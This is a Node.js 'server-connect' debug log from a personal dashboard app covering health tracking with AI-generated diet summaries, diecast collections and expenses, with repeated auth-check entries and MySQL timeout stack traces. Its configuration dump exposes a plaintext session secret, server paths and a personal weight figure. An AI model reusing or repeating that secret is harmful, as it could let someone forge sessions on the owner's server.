    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-20T17:58:15.629Z server-connect:output insert: { affected: 1, identity: 48 }
2025-12-20T17:58:15.629Z server-connect:output condition: undefined
2025-12-20T17:58:15.961Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-20T17:58:15.961Z server-connect:app Executing action step identify
2025-12-20T17:58:15.961Z server-connect:app options: { provider: 'security' }
2025-12-20T17:58:15.961Z server-connect:output identity: 1
2025-12-20T17:58:15.961Z server-connect:app Executing action step restrict
2025-12-20T17:58:15.961Z server-connect:app options: { provider: 'security' }
2025-12-20T17:58:15.961Z server-connect:output restrict: undefined
2025-12-20T17:58:15.961Z server-connect:app Executing action step single
2025-12-20T17:58:15.961Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-20T17:58:15.962Z server-connect:output summary: {
  summary: {
    rating: 7,
    summary: "Today's intake shows a good distribution of protein sources, supporting muscle development goals. The inclusion of dairy and nuts provides healthy fats and some carbohydrates. Meal timing appears reasonable, with pre-workout fueling and post-workout protein. Continued adherence to this pattern should support gradual progress towards your objectives.",
    bad_points: [
      'Limited variety in vegetables.',
      'Higher carbohydrate intake from rice could be balanced with more fiber.',
      'Snack choices (cashews, bananas) are repeated, could benefit from more diverse options.'
    ],
    good_points: [
      'Adequate protein intake from multiple sources like paneer and whey.',
      'Inclusion of whole foods like dal and rice.',
      'Pre-workout and post-workout nutrition is addressed.',
      'Hydration from milk and tea is present.'
    ],
    suggestions: [
      'Incorporate a wider range of vegetables into meals for increased micronutrients and fiber.',
      'Consider adding a source of complex carbohydrates with a higher fiber content.',
      'Explore different protein-rich snack options to add variety.',
      'Ensure consistent hydration throughout the day.'
    ],
    predicted_weight: 69.8,
    predicted_weight_trend: 'gradual loss'
  },
  date: '2025-12-19T18:30:00.000Z'
}
2025-12-20T18:05:56.589Z server-connect:app Executing action step identify
2025-12-20T18:05:56.589Z server-connect:app options: { provider: 'security' }
2025-12-20T18:05:56.590Z server-connect:output identity: 1
2025-12-20T18:06:03.001Z server-connect:app Executing action step identify
2025-12-20T18:06:03.001Z server-connect:app options: { provider: 'security' }
2025-12-20T18:06:03.001Z server-connect:output identity: 1
2025-12-20T18:08:38.159Z server-connect:app Executing action step identify
2025-12-20T18:08:38.159Z server-connect:app options: { provider: 'security' }
2025-12-20T18:08:38.159Z server-connect:output identity: 1
2025-12-20T18:08:44.852Z server-connect:app Executing action step identify
2025-12-20T18:08:44.853Z server-connect:app options: { provider: 'security' }
2025-12-20T18:08:44.853Z server-connect:output identity: 1
2025-12-20T18:11:21.332Z server-connect:app Executing action step identify
2025-12-20T18:11:21.332Z server-connect:app options: { provider: 'security' }
2025-12-20T18:11:21.332Z server-connect:output identity: 1
2025-12-20T18:11:23.861Z server-connect:app Executing action step identify
2025-12-20T18:11:23.861Z server-connect:app options: { provider: 'security' }
2025-12-20T18:11:23.861Z server-connect:output identity: 1
2025-12-20T18:17:16.629Z server-connect:app Executing action step identify
2025-12-20T18:17:16.629Z server-connect:app options: { provider: 'security' }
2025-12-20T18:17:16.629Z server-connect:output identity: 1
2025-12-20T18:17:23.866Z server-connect:app Executing action step identify
2025-12-20T18:17:23.866Z server-connect:app options: { provider: 'security' }
2025-12-20T18:17:23.866Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-20 18:19:19' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-20 18:19:19' as DATETIME)"
}
2025-12-20T18:20:31.591Z server-connect:app Executing action step identify
2025-12-20T18:20:31.591Z server-connect:app options: { provider: 'security' }
2025-12-20T18:20:31.591Z server-connect:output identity: 1
2025-12-20T18:20:37.947Z server-connect:app Executing action step identify
2025-12-20T18:20:37.947Z server-connect:app options: { provider: 'security' }
2025-12-20T18:20:37.947Z server-connect:output identity: 1
2025-12-20T18:23:43.098Z server-connect:app Executing action step identify
2025-12-20T18:23:43.098Z server-connect:app options: { provider: 'security' }
2025-12-20T18:23:43.099Z server-connect:output identity: 1
2025-12-20T18:23:48.495Z server-connect:app Executing action step identify
2025-12-20T18:23:48.495Z server-connect:app options: { provider: 'security' }
2025-12-20T18:23:48.495Z server-connect:output identity: 1
2025-12-20T18:26:57.283Z server-connect:app Executing action step identify
2025-12-20T18:26:57.283Z server-connect:app options: { provider: 'security' }
2025-12-20T18:26:57.283Z server-connect:output identity: 1
2025-12-20T18:26:58.993Z server-connect:app Executing action step identify
2025-12-20T18:26:58.993Z server-connect:app options: { provider: 'security' }
2025-12-20T18:26:58.993Z server-connect:output identity: 1
2025-12-20T18:35:46.229Z server-connect:app Executing action step identify
2025-12-20T18:35:46.229Z server-connect:app options: { provider: 'security' }
2025-12-20T18:35:46.229Z server-connect:output identity: 1
2025-12-20T18:35:48.821Z server-connect:app Executing action step identify
2025-12-20T18:35:48.821Z server-connect:app options: { provider: 'security' }
2025-12-20T18:35:48.822Z server-connect:output identity: 1
2025-12-20T18:41:48.225Z server-connect:app Executing action step identify
2025-12-20T18:41:48.225Z server-connect:app options: { provider: 'security' }
2025-12-20T18:41:48.225Z server-connect:output identity: 1
2025-12-20T18:41:50.866Z server-connect:app Executing action step identify
2025-12-20T18:41:50.866Z server-connect:app options: { provider: 'security' }
2025-12-20T18:41:50.866Z server-connect:output identity: 1
2025-12-20T18:47:06.233Z server-connect:app Executing action step identify
2025-12-20T18:47:06.233Z server-connect:app options: { provider: 'security' }
2025-12-20T18:47:06.233Z server-connect:output identity: 1
2025-12-20T18:47:08.847Z server-connect:app Executing action step identify
2025-12-20T18:47:08.847Z server-connect:app options: { provider: 'security' }
2025-12-20T18:47:08.847Z server-connect:output identity: 1
2025-12-20T18:53:01.230Z server-connect:app Executing action step identify
2025-12-20T18:53:01.230Z server-connect:app options: { provider: 'security' }
2025-12-20T18:53:01.230Z server-connect:output identity: 1
2025-12-20T18:53:03.999Z server-connect:app Executing action step identify
2025-12-20T18:53:03.999Z server-connect:app options: { provider: 'security' }
2025-12-20T18:53:03.999Z server-connect:output identity: 1
2025-12-20T18:58:19.658Z server-connect:app Executing action step identify
2025-12-20T18:58:19.658Z server-connect:app options: { provider: 'security' }
2025-12-20T18:58:19.659Z server-connect:output identity: 1
2025-12-20T18:58:22.409Z server-connect:app Executing action step identify
2025-12-20T18:58:22.409Z server-connect:app options: { provider: 'security' }
2025-12-20T18:58:22.409Z server-connect:output identity: 1
2025-12-20T19:01:26.604Z server-connect:app Executing action step identify
2025-12-20T19:01:26.604Z server-connect:app options: { provider: 'security' }
2025-12-20T19:01:26.604Z server-connect:output identity: 1
2025-12-20T19:01:27.274Z server-connect:app Executing action step identify
2025-12-20T19:01:27.274Z server-connect:app options: { provider: 'security' }
2025-12-20T19:01:27.274Z server-connect:output identity: 1
2025-12-20T19:03:44.937Z server-connect:app Executing action step identify
2025-12-20T19:03:44.937Z server-connect:app options: { provider: 'security' }
2025-12-20T19:03:44.937Z server-connect:output identity: 1
2025-12-20T19:03:48.091Z server-connect:app Executing action step identify
2025-12-20T19:03:48.091Z server-connect:app options: { provider: 'security' }
2025-12-20T19:03:48.091Z server-connect:output identity: 1
2025-12-20T19:06:27.074Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2025-12-20T19:06:29.064Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2025-12-20T19:06:29.925Z server-connect:setup:upload Upload middleware configured.
2025-12-20T19:06:29.925Z server-connect:secure CSRF Protection initialized
2025-12-20T19:06:29.932Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2025-12-20T19:06:29.933Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2025-12-20T19:06:29.936Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2025-12-20T19:06:29.936Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2025-12-20T19:06:29.944Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2025-12-20T19:06:29.947Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2025-12-20T19:06:29.956Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2025-12-20T19:06:29.970Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2025-12-20T19:06:29.974Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2025-12-20T19:06:29.980Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2025-12-20T19:06:29.990Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2025-12-20T19:06:29.994Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2025-12-20T19:06:30.002Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2025-12-20T19:06:30.002Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2025-12-20T19:06:30.007Z server-connect:setup:routes Api route /api/health/get-exercises(.json)? created
2025-12-20T19:06:30.009Z server-connect:setup:routes Api route /api/health/get-schedule(.json)? created
2025-12-20T19:06:30.011Z server-connect:setup:routes Api route /api/health/get-weight-log(.json)? created
2025-12-20T19:06:30.017Z server-connect:setup:routes Api route /api/health/manage-calories(.json)? created
2025-12-20T19:06:30.023Z server-connect:setup:routes Api route /api/health/manage-schedule(.json)? created
2025-12-20T19:06:30.025Z server-connect:setup:routes Api route /api/health/manage-weight(.json)? created
2025-12-20T19:06:30.031Z server-connect:setup:routes Api route /api/health/todays-calories(.json)? created
2025-12-20T19:06:30.037Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2025-12-20T19:06:30.039Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2025-12-20T19:06:30.044Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2025-12-20T19:06:30.046Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2025-12-20T19:06:30.050Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2025-12-20T19:06:30.051Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2025-12-20T19:06:30.053Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2025-12-20T19:06:30.059Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2025-12-20T19:06:30.061Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2025-12-20T19:06:30.063Z server-connect:setup:routes Api route /api/test(.json)? created
2025-12-20T19:06:30.910Z server-connect:app Executing action step identify
2025-12-20T19:06:30.910Z server-connect:app options: { provider: 'security' }
2025-12-20T19:06:30.912Z server-connect:output identity: 1
2025-12-20T19:07:25.045Z server-connect:app Executing action step identify
2025-12-20T19:07:25.045Z server-connect:app options: { provider: 'security' }
2025-12-20T19:07:25.046Z server-connect:output identity: 1
2025-12-20T19:07:26.767Z server-connect:app Executing action step identify
2025-12-20T19:07:26.767Z server-connect:app options: { provider: 'security' }
2025-12-20T19:07:26.768Z server-connect:output identity: 1
2025-12-20T19:07:27.016Z server-connect:app Executing action step identify
2025-12-20T19:07:27.016Z server-connect:app options: { provider: 'security' }
2025-12-20T19:07:27.016Z server-connect:output identity: 1
2025-12-20T19:07:28.465Z server-connect:app Executing action step identify
2025-12-20T19:07:28.466Z server-connect:app options: { provider: 'security' }
2025-12-20T19:07:28.466Z server-connect:output identity: 1
2025-12-20T19:15:11.230Z server-connect:app Executing action step identify
2025-12-20T19:15:11.230Z server-connect:app options: { provider: 'security' }
2025-12-20T19:15:11.230Z server-connect:output identity: 1
2025-12-20T19:15:13.972Z server-connect:app Executing action step identify
2025-12-20T19:15:13.972Z server-connect:app options: { provider: 'security' }
2025-12-20T19:15:13.973Z server-connect:output identity: 1
2025-12-20T19:16:35.914Z server-connect:app Executing action step identify
2025-12-20T19:16:35.914Z server-connect:app options: { provider: 'security' }
2025-12-20T19:16:35.914Z server-connect:output identity: 1
2025-12-20T19:16:43.798Z server-connect:app Executing action step identify
2025-12-20T19:16:43.798Z server-connect:app options: { provider: 'security' }
2025-12-20T19:16:43.798Z server-connect:output identity: 1
2025-12-20T19:19:17.681Z server-connect:app Executing action step identify
2025-12-20T19:19:17.681Z server-connect:app options: { provider: 'security' }
2025-12-20T19:19:17.681Z server-connect:output identity: 1
2025-12-20T19:19:19.082Z server-connect:app Executing action step identify
2025-12-20T19:19:19.082Z server-connect:app options: { provider: 'security' }
2025-12-20T19:19:19.082Z server-connect:output identity: 1
2025-12-20T19:22:03.593Z server-connect:app Executing action step identify
2025-12-20T19:22:03.593Z server-connect:app options: { provider: 'security' }
2025-12-20T19:22:03.593Z server-connect:output identity: 1
2025-12-20T19:22:04.589Z server-connect:app Executing action step identify
2025-12-20T19:22:04.589Z server-connect:app options: { provider: 'security' }
2025-12-20T19:22:04.589Z server-connect:output identity: 1
2025-12-20T19:22:05.183Z server-connect:app Executing action step identify
2025-12-20T19:22:05.183Z server-connect:app options: { provider: 'security' }
2025-12-20T19:22:05.184Z server-connect:output identity: 1
2025-12-20T19:22:06.391Z server-connect:app Executing action step identify
2025-12-20T19:22:06.391Z server-connect:app options: { provider: 'security' }
2025-12-20T19:22:06.392Z server-connect:output identity: 1
2025-12-20T19:28:00.175Z server-connect:app Executing action step identify
2025-12-20T19:28:00.175Z server-connect:app options: { provider: 'security' }
2025-12-20T19:28:00.175Z server-connect:output identity: 1
2025-12-20T19:28:01.078Z server-connect:app Executing action step identify
2025-12-20T19:28:01.078Z server-connect:app options: { provider: 'security' }
2025-12-20T19:28:01.078Z server-connect:output identity: 1
2025-12-20T19:31:14.149Z server-connect:app Executing action step identify
2025-12-20T19:31:14.149Z server-connect:app options: { provider: 'security' }
2025-12-20T19:31:14.149Z server-connect:output identity: 1
2025-12-20T19:31:18.970Z server-connect:app Executing action step identify
2025-12-20T19:31:18.970Z server-connect:app options: { provider: 'security' }
2025-12-20T19:31:18.970Z server-connect:output identity: 1
2025-12-20T19:37:28.710Z server-connect:app Executing action step identify
2025-12-20T19:37:28.711Z server-connect:app options: { provider: 'security' }
2025-12-20T19:37:28.711Z server-connect:output identity: 1
2025-12-20T19:37:34.777Z server-connect:app Executing action step identify
2025-12-20T19:37:34.777Z server-connect:app options: { provider: 'security' }
2025-12-20T19:37:34.778Z server-connect:output identity: 1
2025-12-20T19:40:12.078Z server-connect:app Executing action step identify
2025-12-20T19:40:12.078Z server-connect:app options: { provider: 'security' }
2025-12-20T19:40:12.078Z server-connect:output identity: 1
2025-12-20T19:40:14.906Z server-connect:app Executing action step identify
2025-12-20T19:40:14.906Z server-connect:app options: { provider: 'security' }
2025-12-20T19:40:14.906Z server-connect:output identity: 1
2025-12-20T19:45:40.228Z server-connect:app Executing action step identify
2025-12-20T19:45:40.228Z server-connect:app options: { provider: 'security' }
2025-12-20T19:45:40.228Z server-connect:output identity: 1
2025-12-20T19:45:42.838Z server-connect:app Executing action step identify
2025-12-20T19:45:42.838Z server-connect:app options: { provider: 'security' }
2025-12-20T19:45:42.838Z server-connect:output identity: 1
2025-12-20T19:52:37.790Z server-connect:app Executing action step identify
2025-12-20T19:52:37.790Z server-connect:app options: { provider: 'security' }
2025-12-20T19:52:37.790Z server-connect:output identity: 1
2025-12-20T19:52:39.270Z server-connect:app Executing action step identify
2025-12-20T19:52:39.270Z server-connect:app options: { provider: 'security' }
2025-12-20T19:52:39.270Z server-connect:output identity: 1
2025-12-20T19:55:51.362Z server-connect:app Executing action step identify
2025-12-20T19:55:51.362Z server-connect:app options: { provider: 'security' }
2025-12-20T19:55:51.362Z server-connect:output identity: 1
2025-12-20T19:55:53.876Z server-connect:app Executing action step identify
2025-12-20T19:55:53.876Z server-connect:app options: { provider: 'security' }
2025-12-20T19:55:53.876Z server-connect:output identity: 1
2025-12-20T19:58:34.048Z server-connect:app Executing action step identify
2025-12-20T19:58:34.048Z server-connect:app options: { provider: 'security' }
2025-12-20T19:58:34.049Z server-connect:output identity: 1
2025-12-20T19:58:35.377Z server-connect:app Executing action step identify
2025-12-20T19:58:35.377Z server-connect:app options: { provider: 'security' }
2025-12-20T19:58:35.377Z server-connect:output identity: 1
2025-12-20T19:58:36.682Z server-connect:app Executing action step identify
2025-12-20T19:58:36.682Z server-connect:app options: { provider: 'security' }
2025-12-20T19:58:36.682Z server-connect:output identity: 1
2025-12-20T19:58:38.445Z server-connect:app Executing action step identify
2025-12-20T19:58:38.445Z server-connect:app options: { provider: 'security' }
2025-12-20T19:58:38.445Z server-connect:output identity: 1
2025-12-20T20:01:48.470Z server-connect:app Executing action step identify
2025-12-20T20:01:48.470Z server-connect:app options: { provider: 'security' }
2025-12-20T20:01:48.470Z server-connect:output identity: 1
2025-12-20T20:01:50.117Z server-connect:app Executing action step identify
2025-12-20T20:01:50.118Z server-connect:app options: { provider: 'security' }
2025-12-20T20:01:50.118Z server-connect:output identity: 1
2025-12-20T20:10:58.657Z server-connect:app Executing action step identify
2025-12-20T20:10:58.657Z server-connect:app options: { provider: 'security' }
2025-12-20T20:10:58.657Z server-connect:output identity: 1
2025-12-20T20:11:07.155Z server-connect:app Executing action step identify
2025-12-20T20:11:07.156Z server-connect:app options: { provider: 'security' }
2025-12-20T20:11:07.156Z server-connect:output identity: 1
2025-12-20T20:14:14.321Z server-connect:app Executing action step identify
2025-12-20T20:14:14.321Z server-connect:app options: { provider: 'security' }
2025-12-20T20:14:14.321Z server-connect:output identity: 1
2025-12-20T20:14:16.109Z server-connect:app Executing action step identify
2025-12-20T20:14:16.109Z server-connect:app options: { provider: 'security' }
2025-12-20T20:14:16.109Z server-connect:output identity: 1
2025-12-20T20:14:16.678Z server-connect:app Executing action step identify
2025-12-20T20:14:16.679Z server-connect:app options: { provider: 'security' }
2025-12-20T20:14:16.679Z server-connect:output identity: 1
2025-12-20T20:14:17.378Z server-connect:app Executing action step identify
2025-12-20T20:14:17.378Z server-connect:app options: { provider: 'security' }
2025-12-20T20:14:17.378Z server-connect:output identity: 1
2025-12-20T20:23:56.118Z server-connect:app Executing action step identify
2025-12-20T20:23:56.119Z server-connect:app options: { provider: 'security' }
2025-12-20T20:23:56.119Z server-connect:output identity: 1
2025-12-20T20:24:04.071Z server-connect:app Executing action step identify
2025-12-20T20:24:04.071Z server-connect:app options: { provider: 'security' }
2025-12-20T20:24:04.071Z server-connect:output identity: 1
2025-12-20T20:26:38.442Z server-connect:app Executing action step identify
2025-12-20T20:26:38.442Z server-connect:app options: { provider: 'security' }
2025-12-20T20:26:38.442Z server-connect:output identity: 1
2025-12-20T20:26:47.112Z server-connect:app Executing action step identify
2025-12-20T20:26:47.112Z server-connect:app options: { provider: 'security' }
2025-12-20T20:26:47.112Z server-connect:output identity: 1
2025-12-20T20:29:19.893Z server-connect:app Executing action step identify
2025-12-20T20:29:19.893Z server-connect:app options: { provider: 'security' }
2025-12-20T20:29:19.893Z server-connect:output identity: 1
2025-12-20T20:29:27.098Z server-connect:app Executing action step identify
2025-12-20T20:29:27.098Z server-connect:app options: { provider: 'security' }
2025-12-20T20:29:27.098Z server-connect:output identity: 1
2025-12-20T20:40:43.123Z server-connect:app Executing action step identify
2025-12-20T20:40:43.123Z server-connect:app options: { provider: 'security' }
2025-12-20T20:40:43.123Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-20 20:40:45' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-20 20:40:45' as DATETIME)"
}
2025-12-20T20:40:45.894Z server-connect:app Executing action step identify
2025-12-20T20:40:45.894Z server-connect:app options: { provider: 'security' }
2025-12-20T20:40:45.894Z server-connect:output identity: 1
2025-12-20T20:49:50.686Z server-connect:app Executing action step identify
2025-12-20T20:49:50.687Z server-connect:app options: { provider: 'security' }
2025-12-20T20:49:50.687Z server-connect:output identity: 1
2025-12-20T20:49:51.785Z server-connect:app Executing action step identify
2025-12-20T20:49:51.785Z server-connect:app options: { provider: 'security' }
2025-12-20T20:49:51.785Z server-connect:output identity: 1
2025-12-20T20:55:17.248Z server-connect:app Executing action step identify
2025-12-20T20:55:17.248Z server-connect:app options: { provider: 'security' }
2025-12-20T20:55:17.248Z server-connect:output identity: 1
2025-12-20T20:55:21.451Z server-connect:app Executing action step identify
2025-12-20T20:55:21.451Z server-connect:app options: { provider: 'security' }
2025-12-20T20:55:21.452Z server-connect:output identity: 1
2025-12-20T21:01:14.382Z server-connect:app Executing action step identify
2025-12-20T21:01:14.382Z server-connect:app options: { provider: 'security' }
2025-12-20T21:01:14.382Z server-connect:output identity: 1
2025-12-20T21:01:17.871Z server-connect:app Executing action step identify
2025-12-20T21:01:17.871Z server-connect:app options: { provider: 'security' }
2025-12-20T21:01:17.872Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-20 21:03:46' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-20 21:03:46' as DATETIME)"
}
2025-12-20T21:04:29.758Z server-connect:app Executing action step identify
2025-12-20T21:04:29.758Z server-connect:app options: { provider: 'security' }
2025-12-20T21:04:29.758Z server-connect:output identity: 1
2025-12-20T21:04:33.055Z server-connect:app Executing action step identify
2025-12-20T21:04:33.055Z server-connect:app options: { provider: 'security' }
2025-12-20T21:04:33.055Z server-connect:output identity: 1
2025-12-20T21:07:42.754Z server-connect:app Executing action step identify
2025-12-20T21:07:42.754Z server-connect:app options: { provider: 'security' }
2025-12-20T21:07:42.754Z server-connect:output identity: 1
2025-12-20T21:07:44.091Z server-connect:app Executing action step identify
2025-12-20T21:07:44.091Z server-connect:app options: { provider: 'security' }
2025-12-20T21:07:44.091Z server-connect:output identity: 1
2025-12-20T21:10:26.377Z server-connect:app Executing action step identify
2025-12-20T21:10:26.377Z server-connect:app options: { provider: 'security' }
2025-12-20T21:10:26.377Z server-connect:output identity: 1
2025-12-20T21:10:26.501Z server-connect:app Executing action step identify
2025-12-20T21:10:26.501Z server-connect:app options: { provider: 'security' }
2025-12-20T21:10:26.501Z server-connect:output identity: 1
2025-12-20T21:10:27.725Z server-connect:app Executing action step identify
2025-12-20T21:10:27.725Z server-connect:app options: { provider: 'security' }
2025-12-20T21:10:27.726Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-20 21:24:06' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-20 21:24:06' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-20 22:59:46' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
